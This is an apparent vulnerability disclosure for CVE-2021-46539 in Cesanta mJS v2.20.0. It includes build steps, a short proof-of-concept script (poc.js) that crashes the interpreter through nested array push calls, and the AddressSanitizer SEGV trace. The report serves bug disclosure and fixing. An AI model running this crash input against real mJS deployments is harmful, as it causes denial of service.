Headline

CVE-2021-46539: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x45a1f) · Issue #217 · cesanta/mjs

Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via /lib/x86_64-linux-gnu/libc.so.6+0x45a1f. This vulnerability can lead to a Denial of Service (DoS).

2 years ago

CVE

Open in Source

#vulnerability #ubuntu #linux #dos #js #git

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Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

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@hope-fly

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile DOCKER_GCC=gcc $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)

save the makefile then make

make

Test casepoc.js

function JSEtest() {
    let arr = [1];
    [[arr.push(0, 17)].push([arr.push(0, 17)].push(0, 17))];
}
JSEtest();

Execution steps & Output

$ ./mjs/build/mjs poc.js ASAN:DEADLYSIGNAL ================================================================= ==126169==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fb20926da20 bp 0x000000000000 sp 0x7ffc6083ff90 T0) ==126169==The signal is caused by a READ memory access. ==126169==Hint: address points to the zero page. #0 0x7fb20926da1f (/lib/x86_64-linux-gnu/libc.so.6+0x45a1f) #1 0x5619439c70b3 in cstr_to_ulong src/mjs_string.c:232 #2 0x5619439c70b3 in str_to_ulong src/mjs_string.c:242 #3 0x5619438ff7bb in mjs_array_length src/mjs_array.c:83 #4 0x5619438ff7bb in mjs_array_push src/mjs_array.c:115 #5 0x5619438ff7bb in mjs_array_push_internal src/mjs_array.c:131 #6 0x561943924244 in mjs_execute src/mjs_exec.c:853 #7 0x56194392da05 in mjs_exec_internal src/mjs_exec.c:1073 #8 0x56194392da05 in mjs_exec_file src/mjs_exec.c:1096 #9 0x5619438ea909 in main src/mjs_main.c:47 #10 0x7fb209249b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #11 0x5619438eb449 in _start (/usr/local/bin/Gmjs+0xe449)

AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x45a1f) ==126169==ABORTING

Credits: Found by OWL337 team.

1 participant

@hope-fly